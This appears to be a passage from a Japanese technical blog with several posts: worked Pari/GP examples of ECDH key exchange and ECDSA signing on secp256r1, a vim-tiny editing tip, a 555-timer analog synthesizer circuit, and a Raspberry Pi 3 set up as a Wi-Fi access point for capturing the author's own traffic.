上の結果から、CipherSuiteとしてTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256が選ばれていることがわかる。 そして、サーバ証明書には楕円曲線パラメータsecp256r1でのECDSA用公開鍵が記されており、secp256r1でのECDH用公開鍵がECDSAで署名されていることがわかる。

なお、RFC 4492ではECDHE_ECDSAを用いる場合、サーバ証明書もECDSAで署名されていなければならない(MUST)と記されているが、上の結果ではRSAで署名されているようである。

Pari/GPのインストール

楕円曲線暗号は、ざっくり言うと、素数pを法とする楕円曲線上で定義された定数倍の逆演算が計算量的に困難であること(楕円曲線上の離散対数問題)をもとにした暗号の総称である。 すなわち、ある点Pをd倍した点Qは計算できるが、定数dと点Qから点Pを逆算することが困難であるという性質をもとにしたものである。 RSA暗号において有限体上でe乗した値の逆算が困難であること(離散対数問題)を、楕円曲線上での演算に置き換えたものと考えてもよい。 楕円曲線上で定義された演算の詳細については、Wikipedia等を参照されたい。

楕円曲線上での演算を行うために、ここでは数式処理システムPari/GPを用いることにする。 Pari/GPは次のようにしてインストールできる。

$ sudo apt-get install pari-gp

ECDH鍵交換をやってみる

ECDH鍵交換は、有限体上でのDiffee-Hellman鍵交換を楕円曲線上の演算に置き換えたものである。 Wikipediaを参考に、楕円曲線パラメータsecp256r1で定義される楕円曲線上でのECDH鍵交換を計算してみると次のようになる。

\\ http://pari.math.u-bordeaux.fr/faq.html#hexa
hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}

\\ secp256r1 parameters
\\ http://www.secg.org/sec1-v2.pdf
\\ http://www.secg.org/sec2-v2.pdf
p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
G = [Gx, Gy]
n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")

\\ secp256r1 curve
E = ellinit([0, 0, 0, a, b] * Mod(1, p))
\\ secret key
da = random(n)
db = random(n)
\\ public key
Qa = ellpow(E, G, da)
Qb = ellpow(E, G, db)

\\ calculate shared secret
Xa = lift(ellpow(E, Qb, da))[1]
Xb = lift(ellpow(E, Qa, db))[1]
Xa == Xb

上のコードでは、AとBが互いの公開鍵Qa、Qbを交換し、それぞれの秘密鍵と掛け合わせることで共通鍵Xa == Xbを計算している。 ここで、lift関数はMod(a,b) => aを求める関数である。

実際に実行すると、次のようになる。

$ gp -q
? \\ http://pari.math.u-bordeaux.fr/faq.html#hexa
? hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}
?
? \\ secp256r1 parameters
? \\ http://www.secg.org/sec1-v2.pdf
? \\ http://www.secg.org/sec2-v2.pdf
? p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
115792089210356248762697446949407573530086143415290314195533631308867097853951
? a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
115792089210356248762697446949407573530086143415290314195533631308867097853948
? b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
41058363725152142129326129780047268409114441015993725554835256314039467401291
? Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
48439561293906451759052585252797914202762949526041747995844080717082404635286
? Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
36134250956749795798585127919587881956611106672985015071877198253568414405109
? G = [Gx, Gy]
[48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109]
? n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")
115792089210356248762697446949407573529996955224135760342422259061068512044369
?
? \\ secp256r1 curve
? E = ellinit([0, 0, 0, a, b] * Mod(1, p))
[Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853948, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(41058363725152142129326129780047268409114441015993725554835256314039467401291, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853945, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(48441365690252319754607072170781500106371620648684588023807393947290771751213, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853942, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(144, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(73745129047917570410340083507285168261568990675547578651163356492099206447533, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(47064476442213300654454205837611899485069387829947879813735601543372794627813, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(7958909377132088453074743217357398615041065282494610304372115906626967530147, 115792089210356248762697446949407573530086143415290314195533631308867097853951), 0, 0, 0, 0, 0, 0]
? \\ secret key
? da = random(n)
41624337018869194729192205381537838788846303834619688597471765238035829032504
? db = random(n)
112889434785065900135211481371037383646282385554418514861667765615237067913479
? \\ public key
? Qa = ellpow(E, G, da)
[Mod(66427298351632458827230541581873808673432665230371912577791853634759425959558, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(1206785862317786198788010821239105192836149114902459754806002568469592604088, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
? Qb = ellpow(E, G, db)
[Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(40767119766631682297642348857294685404708822382670655743751860183794421610264, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
?
? \\ calculate shared secret
? Xa = lift(ellpow(E, Qb, da))[1]
55382482432028264043275192986018530076536941443548819581226267882802812179275
? Xb = lift(ellpow(E, Qa, db))[1]
55382482432028264043275192986018530076536941443548819581226267882802812179275
? Xa == Xb
1

XaとXbが同じ値となり、共通鍵を共有できていることが確認できる。

ECDSA署名をやってみる

ECDSA署名は、有限体上でのDSA署名を楕円曲線上の演算に置き換えたものである。 Wikipediaを参考に、楕円曲線パラメータsecp256r1で定義される楕円曲線上でのECDSA署名を計算してみると次のようになる。

\\ http://pari.math.u-bordeaux.fr/faq.html#hexa
hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}

\\ secp256r1 parameters
\\ http://www.secg.org/sec1-v2.pdf
\\ http://www.secg.org/sec2-v2.pdf
p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
G = [Gx, Gy]
n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")

\\ secp256r1 curve
E = ellinit([0, 0, 0, a, b] * Mod(1, p))
\\ secret key
d = random(n)
\\ public key
Q = ellpow(E, G, d)

\\ SHA-512 hash value
z = hextodec("cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e")
z = z >> 256  \\ leftmost 256 bits

\\ sign
k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * d)/k, n)
S = lift([r, s])  \\ signature

\\ verify
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, Q, u2))
r == lift(X[1])  \\ verification result

上のコードでは、秘密鍵dと公開鍵Qの組を用いて、dでSHA-512ハッシュ値zに対する署名Sを生成した後、zとQでこの署名Sの検証を行っている。 ここで、SHA-512ハッシュ値は512bitであるが、署名を計算する際には上位256bit(楕円曲線パラメータのnのbit数)が取り出されて用いられる。

実際に実行すると、次のようになる。

$ gp -q
? \\ http://pari.math.u-bordeaux.fr/faq.html#hexa
? hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}
?
? \\ secp256r1 parameters
? \\ http://www.secg.org/sec1-v2.pdf
? \\ http://www.secg.org/sec2-v2.pdf
? p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
115792089210356248762697446949407573530086143415290314195533631308867097853951
? a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
115792089210356248762697446949407573530086143415290314195533631308867097853948
? b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
41058363725152142129326129780047268409114441015993725554835256314039467401291
? Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
48439561293906451759052585252797914202762949526041747995844080717082404635286
? Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
36134250956749795798585127919587881956611106672985015071877198253568414405109
? G = [Gx, Gy]
[48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109]
? n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")
115792089210356248762697446949407573529996955224135760342422259061068512044369
?
? \\ secp256r1 curve
? E = ellinit([0, 0, 0, a, b] * Mod(1, p))
[Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853948, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(41058363725152142129326129780047268409114441015993725554835256314039467401291, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853945, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(48441365690252319754607072170781500106371620648684588023807393947290771751213, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853942, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(144, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(73745129047917570410340083507285168261568990675547578651163356492099206447533, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(47064476442213300654454205837611899485069387829947879813735601543372794627813, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(7958909377132088453074743217357398615041065282494610304372115906626967530147, 115792089210356248762697446949407573530086143415290314195533631308867097853951), 0, 0, 0, 0, 0, 0]
? \\ secret key
? d = random(n)
41624337018869194729192205381537838788846303834619688597471765238035829032504
? \\ public key
? Q = ellpow(E, G, d)
[Mod(66427298351632458827230541581873808673432665230371912577791853634759425959558, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(1206785862317786198788010821239105192836149114902459754806002568469592604088, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
?
? \\ SHA-512 hash value
? z = hextodec("cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e")
10868450558671247443152026947160338505683745266658651051718065983487878962987857602829315249215796444208488632888003673539585986066311769564391053988452926
? z = z >> 256  \\ leftmost 256 bits
93861770957395276492717477787726143810336548400896766194917568669650606942670
?
? \\ sign
? k = random(n)
112889434785065900135211481371037383646282385554418514861667765615237067913479
? X = lift(ellpow(E, G, k))
[45117477251749228939119226983445827678526666004268395927426481263854185200718, 40767119766631682297642348857294685404708822382670655743751860183794421610264]
? r = Mod(X[1], n)
Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? s = Mod((z + r * d)/k, n)
Mod(19480684571390165669037418791352587666543987715102909683921619662453630129808, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? S = lift([r, s])  \\ signature
[45117477251749228939119226983445827678526666004268395927426481263854185200718, 19480684571390165669037418791352587666543987715102909683921619662453630129808]
?
? \\ verify
? r = S[1]
45117477251749228939119226983445827678526666004268395927426481263854185200718
? s = S[2]
19480684571390165669037418791352587666543987715102909683921619662453630129808
? w = Mod(1, n)/s
Mod(45806731425320108599593801776916401592588010577151454492237521859734605583062, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? u1 = lift(z * w)
2526355770588513432897987911358560530387299975513306266181348358497798666960
? u2 = lift(r * w)
39403108001448584892010322851840404729316330706803748468373485665520707319225
? X = elladd(E, ellpow(E, G, u1), ellpow(E, Q, u2))
[Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(40767119766631682297642348857294685404708822382670655743751860183794421610264, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
? r == lift(X[1])  \\ verification result
1

上の結果から、秘密鍵dで計算されたハッシュ値zに対する署名Sを、zと公開鍵Qで検証できていることが確認できる。

関連リンク

vim-tinyで矩形挿入・削除する方法のメモ

viコマンドとして標準でインストールされていることが多いvim-tinyにて、コメントアウトや複数行のインデントに便利なコマンドのメモ。

矩形挿入

C-vして矩形選択し、Iを押して文字列を入力した後Esc。 反映されるまでに若干のタイムラグがある。 なお、スペース4文字の場合はIの代わりに4I<Space>でもよい。

矩形削除

C-vして矩形選択し、x

関連リンク

555タイマーICと圧電スピーカーでアナログシンセもどきを作ってみる

555タイマーIC(集積回路)を発振回路として使うと、さまざまな周波数の矩形波を作ることができる。 また、圧電スピーカーを使うと、一定の周波数で電圧を変化させることにより音を出すことができる。 ここでは、これらと半固定抵抗を組み合わせ、単純な回路によるアナログシンセサイザーもどきを作ってみる。

部品調達

アナログシンセサイザーの仕組み

シンセサイザーには、大きく分けてアナログ回路を用いるアナログシンセサイザーと、デジタル信号処理を用いるデジタルシンセサイザーがある。 また、音を合成する方法にも、基本波形に周波数フィルタをかける減算合成、複数の基本波形を重ねる加算合成、周波数変調(FM)等の変調方式をもとにした変調合成などがある(参考)。

減算合成によるアナログシンセサイザーの仕組みについては、次のサイトがわかりやすい。

f:id:inaz2:20160908224634p:plain

(上記サイトより引用)

上の図におけるそれぞれの回路の役割を簡単にまとめると次のようになる。

  • VCO (Voltage-controlled Oscillator)
    • 正弦波や矩形波などの基本波形を作る。音色、音程に相当
  • VCF(Voltage-controlled Filter)
    • ローパスフィルタやハイパスフィルタなどの周波数フィルタをかける。音のゆがみに相当
  • VCA(Voltage-controlled Amplifier)
    • 波の振幅を変化させる。音量に相当
  • LFO(Low-frequency Oscillator)
    • 1Hz~20Hz程度の低周波数で上記の電圧を変化させる。ビブラートやワウワウ、トレモロに相当
  • EG(Envelope Generator)
    • キーボードを押した後の音の変化を再現する

一般的なアナログシンセはさまざまな基本波形やフィルタを備えているが、ここではできるだけ単純な回路となるように、

  • VCOは555タイマーICによる矩形波のみ
  • VCFは一次RCローパスフィルタ、一次RCハイパスフィルタの組み合わせ
  • VCAはオペアンプ反転増幅回路
  • LFOは555タイマーICによる矩形波に一次RCローパスフィルタ
  • EG、キーボードなし

のアナログシンセもどきを作ってみることにする。

基本回路図

555タイマーICによる発振回路は次で表される。

f:id:inaz2:20160908234310p:plain

OUTからは矩形波が表れ、その発振周波数は 1/(ln(2)*C*(R1+2*R2)) 、デューティー比は (R1+R2)/(R1+2*R2) である。

1次RCローパスフィルタ、一次RCハイパスフィルタは次で表わされる。

f:id:inaz2:20160908234321p:plain

ローパスフィルタはカットオフ周波数を越える周波数成分を弱める働きをする。 一方、ハイパスフィルタはカットオフ周波数を下回る周波数成分を弱める働きをする。 カットオフ周波数はどちらの場合も 1/(2*pi*R*C) である。

オペアンプ反転増幅回路は次で表される。

f:id:inaz2:20160911173531p:plain

マイナスの電圧の -R2/R1 倍が出力電圧として表れる。 また、R3はプラス側とマイナス側に流れる電流の差(バイアス電流)を打ち消すためのものであり、その抵抗値はR1とR2の並列抵抗の値となる。 なお、オペアンプ非反転増幅回路は1未満の増幅率にできないため、今回の例には適さない。

全体回路図

f:id:inaz2:20160908234341p:plain

上の回路では、半固定抵抗でそれぞれの電圧調整を行う。 また、タクトスイッチでLFOのオンオフを切り替え、これに合わせてLEDが光るようになっている。

上の回路において、LFOのOUT(3番ピン)はローパスフィルタを通してVCOのCTRL(5番ピン)に繋がっており、パルス位置変調により発振周波数を揺らす働きをする。 また、タクトスイッチはLFOのVccに繋がっており、オンにすることでLFOが発振する。

発振回路の周波数やRCフィルタのカットオフ周波数は以下のページで計算できる。

上の回路において、半固定抵抗による変域の理論値は次のようになる。

  • VCO: 140.8Hz~5842Hz
  • VCF LPF: 79.58Hz~無限大
  • VCF HPF: 79.58Hz~無限大
  • VCA: 0~100倍
  • LFO: 1.408Hz~58.42Hz
  • LFO LPF: 15.92Hz

実際にブレッドボード上に作った回路の写真を次に示す。

f:id:inaz2:20160908234819p:plain

鳴らしてみる

9V電池を繋いで鳴らしてみると、次の動画のようになる。

半固定抵抗およびタクトスイッチの操作により、それぞれ期待する効果が得られていることが確認できる。

関連リンク

Raspberry Pi 3でパケットキャプチャ用無線アクセスポイントを作る

Raspberry Pi 3にはWi-Fiモジュール(Broadcom BCM43438)が搭載されているが、このモジュールはクライアントとしてだけではなく、アクセスポイントとして動作させることもできる。 ここでは、Raspberry Pi 3でDHCPサーバ付き無線ルータを作り、アクセスポイントに接続するだけで簡単にパケットキャプチャできるようにしてみる。

環境

Raspberry Pi 3 Model B (Raspbian Jessie Lite)

$ uname -a
Linux raspberrypi 4.4.9-v7+ #884 SMP Fri May 6 17:28:59 BST 2016 armv7l GNU/Linux

$ cat /etc/os-release
PRETTY_NAME="Raspbian GNU/Linux 8 (jessie)"
NAME="Raspbian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=raspbian
ID_LIKE=debian
HOME_URL="http://www.raspbian.org/"
SUPPORT_URL="http://www.raspbian.org/RaspbianForums"
BUG_REPORT_URL="http://www.raspbian.org/RaspbianBugs"

無線インタフェースが対応している動作モードの確認

次のコマンドで、無線インタフェースが対応している動作モードを調べることができる。

$ iw list
Wiphy phy0
(snip)
        Supported interface modes:
                 * IBSS
                 * managed
                 * AP
                 * P2P-client
                 * P2P-GO
                 * P2P-device
(snip)

上の結果より、クライアントとして動作するmanagedモードに加え、アクセスポイントとして動作するAPモードをサポートしていることがわかる。

無線インタフェースのIP設定

以降、上流の有線ネットワークを192.168.0.0/24、作成する無線ネットワークを192.168.1.0/24とする。 また、IPv6についてはUnique Local IPv6 Unicast Address(ULA)を用い、IPv4同様別セグメントを作ることにする。 ここでは、そのセグメントをfdXX:XXXX:XXXX:1::/64で表し、Xの部分にはランダムに生成した値が入るものとする(参考)。

まず、無線インタフェースwlan0のIPアドレスを192.168.1.1およびfdXX:XXXX:XXXX:1::1に設定する。

$ sudo vi /etc/network/interfaces
allow-hotplug wlan0
iface wlan0 inet static
address 192.168.1.1
netmask 255.255.255.0
iface wlan0 inet6 static
address fdXX:XXXX:XXXX:1::1
netmask 64
#iface wlan0 inet manual
#    wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

hostapdの設定

次に、hostapdをインストールし、無線アクセスポイントの設定を行う。

$ sudo apt-get install hostapd
$ sudo sh -c "zcat /usr/share/doc/hostapd/examples/hostapd.conf.gz > /etc/hostapd/hostapd.conf"
$ sudo vi /etc/hostapd/hostapd.conf
interface=wlan0
ssid=raspberrypi_nomap
wpa=2
wpa_passphrase=SECRETPASSPHRASE
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

一時的にhostapdを起動し、他の端末から設定したSSIDが見えていることを確認する。

$ sudo hostapd /etc/hostapd/hostapd.conf

SSIDが確認できたら、OS起動時にhostapdが自動起動するように設定する。

$ sudo vi /etc/default/hostapd
DAEMON_CONF="/etc/hostapd/hostapd.conf"

dnsmasqの設定

無線ネットワークにおけるDHCP/DNSサーバとして、dnsmasqをインストールする。

$ sudo apt-get install dnsmasq

続けて、設定ファイルを編集する。

$ sudo vi /etc/dnsmasq.conf
no-resolv
no-poll
interface=wlan0
enable-ra
dhcp-range=192.168.1.101,192.168.1.200
dhcp-range=::,constructor:wlan0,ra-stateless
server=192.168.0.1

上の設定は、wlan0インタフェースにDHCPv4で192.168.1.101-200を配り、IPv6ではDHCPv6サーバを使用したステートレス自動設定を行う。 また、dnsmasqが参照するDNSサーバについては/etc/resolv.confを参照せず、有線ネットワーク側のDNSサーバ(192.168.0.1)を直接指定している。

パケット転送およびNAPTの設定

IPv4IPv6のそれぞれについてパケット転送を行うように設定する。

$ sudo vi /etc/sysctl.conf
net.ipv4.conf.all.forwarding = 1
net.ipv6.conf.all.forwarding = 1

次に、iptables-persistentをインストールし、無線ネットワークからeth0に転送されるパケットについてNAPT(IPマスカレード)を行うように設定する。

$ sudo apt-get install iptables-persistent
$ sudo vi /etc/iptables/rules.v4
# Generated by iptables-save v1.4.21 on Thu Sep  1 23:52:33 2016
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE
COMMIT
# Completed on Thu Sep  1 23:52:33 2016
# Generated by iptables-save v1.4.21 on Thu Sep  1 23:52:33 2016
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
# Completed on Thu Sep  1 23:52:33 2016

$ sudo vi /etc/iptables/rules.v6
# Generated by ip6tables-save v1.4.21 on Mon Sep  5 01:44:20 2016
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A POSTROUTING -s fdXX:XXXX:XXXX:1::/64 -o eth0 -j MASQUERADE
COMMIT
# Completed on Mon Sep  5 01:44:20 2016
# Generated by ip6tables-save v1.4.21 on Wed May 25 21:30:37 2016
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
# Completed on Wed May 25 21:30:37 2016

なお、「Raspberry PiでIPv6 PPPoE対応ルータを作る」で説明した方法でRaspberry PiをPPPoEルータにしている場合は、IPv6のNAPTインタフェースをeth0からppp0に変える必要がある。

最後にRaspberry Piを再起動し、wlan0に指定したIPアドレスが割り当てられていること、hostapd/dnsmasqが起動していることを確認する。

$ sudo reboot
$ ip addr
(snip)
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether b8:27:eb:XX:XX:XX brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.1/24 brd 192.168.1.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet 169.254.120.61/16 brd 169.254.255.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet6 fdXX:XXXX:XXXX:1::1/64 scope global
       valid_lft forever preferred_lft forever
(snip)

$ systemctl status hostapd
● hostapd.service - LSB: Advanced IEEE 802.11 management daemon
   Loaded: loaded (/etc/init.d/hostapd)
   Active: active (running) since Mon 2016-09-05 03:18:44 JST; 4min 45s ago
  Process: 1319 ExecStart=/etc/init.d/hostapd start (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/hostapd.service
           └─1534 /usr/sbin/hostapd -B -P /run/hostapd.pid /etc/hostapd/hostapd.conf

$ systemctl status dnsmasq
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
   Loaded: loaded (/lib/systemd/system/dnsmasq.service; enabled)
  Drop-In: /run/systemd/generator/dnsmasq.service.d
           └─50-dnsmasq-$named.conf, 50-insserv.conf-$named.conf
   Active: active (running) since Mon 2016-09-05 03:18:07 JST; 5min ago
  Process: 712 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
  Process: 642 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
  Process: 553 ExecStartPre=/usr/sbin/dnsmasq --test (code=exited, status=0/SUCCESS)
 Main PID: 711 (dnsmasq)
   CGroup: /system.slice/dnsmasq.service
           └─711 /usr/sbin/dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,19...

無線アクセスポイントを通る通信をパケットキャプチャしてみる

パケットキャプチャを行うために、tcpdumpをインストールする。

$ sudo apt-get install tcpdump

wlan0インタフェースに対してtcpdumpを実行し、Android端末から無線アクセスポイントに接続してみる。

$ sudo tcpdump -i wlan0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 262144 bytes
03:34:55.912458 ba:27:eb:XX:XX:XX > b8:27:eb:XX:XX:XX, ethertype Unknown (0x886c), length 74:
        0x0000:  8001 0068 0000 1018 0001 0002 0000 0000  ...h............
        0x0010:  0004 0000 0000 0000 0000 0000 0000 0000  ................
        0x0020:  0000 90b6 86c3 2241 776c 3000 0000 0000  ......"Awl0.....
        0x0030:  0000 0000 0000 0000 0000 0000            ............
03:34:55.924089 90:b6:86:XX:XX:XX > ff:ff:ff:ff:ff:ff Null Unnumbered, xid, Flags [Response], length 6: 01 00
03:34:55.925734 ba:27:eb:XX:XX:XX > b8:27:eb:XX:XX:XX, ethertype Unknown (0x886c), length 229:
        0x0000:  8001 0103 0000 1018 0001 0002 0000 0000  ................
        0x0010:  0008 0000 0000 0000 0000 0000 0000 0000  ................
        0x0020:  009b 90b6 86c3 2241 776c 3000 0000 0000  ......"Awl0.....
        0x0030:  0000 0000 0000 0000 0000 0011 7261 7370  ............rasp
        0x0040:  6265 7272 7970 695f 6e6f 6d61 7001 0882  berrypi_nomap...
        0x0050:  848b 9624 3048 6c32 040c 1218 6021 0202  ...$0Hl2....`!..
        0x0060:  1224 0201 0d30 1401 0000 0fac 0401 0000  .$...0..........
        0x0070:  0fac 0401 0000 0fac 0280 002d 1a2d 0017  ...........-.-..
        0x0080:  ff00 0000 0000 0000 0000 0000 0000 0000  ................
        0x0090:  0000 0000 0000 007f 0800 0008 8001 4000  ..............@.
        0x00a0:  40dd 1e00 904c 332d 0017 ff00 0000 0000  @....L3-........
        0x00b0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00c0:  00dd 0900 1018 0200 0010 0000 dd07 0050  ...............P
        0x00d0:  f202 0001 0000 00                        .......
03:34:55.930534 EAPOL key (3) v2, len 95
03:34:55.970042 EAPOL key (3) v1, len 117
03:34:55.971198 EAPOL key (3) v2, len 151
03:34:55.983969 EAPOL key (3) v1, len 95
03:34:56.051210 IP6 :: > ff02::1:XXXX:XXXX: ICMP6, neighbor solicitation, who has fe80::XXXX:XXXX:XXXX:XXXX, length 24
03:34:56.056070 IP6 :: > ff02::16: HBH ICMP6, multicast listener report v2, 1 group record(s), length 28
03:34:56.412020 IP6 fe80::XXXX:XXXX:XXXX:XXXX > ff02::2: ICMP6, router solicitation, length 16
03:34:56.412693 IP6 fe80::XXXX:XXXX:XXXX:XXXX > fe80::XXXX:XXXX:XXXX:XXXX: ICMP6, router advertisement, length 64
03:34:56.426102 IP6 :: > ff02::1:XXXX:XXXX: ICMP6, neighbor solicitation, who has fdXX:XXXX:XXXX:1:XXXX:XXXX:XXXX:XXXX, length 24
03:34:56.437585 IP6 :: > ff02::1:XXXX:XXXX: ICMP6, neighbor solicitation, who has fdXX:XXXX:XXXX:1:XXXX:XXXX:XXXX:XXXX, length 24
03:34:56.437758 IP6 :: > ff02::16: HBH ICMP6, multicast listener report v2, 2 group record(s), length 48
03:34:56.462079 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 90:b6:86:c3:22:41, length 314
03:34:56.622910 IP 192.168.1.1.67 > 192.168.1.170.68: BOOTP/DHCP, Reply, length 300
03:34:56.719521 ARP, Request who-has 192.168.1.1 tell 192.168.1.170, length 28
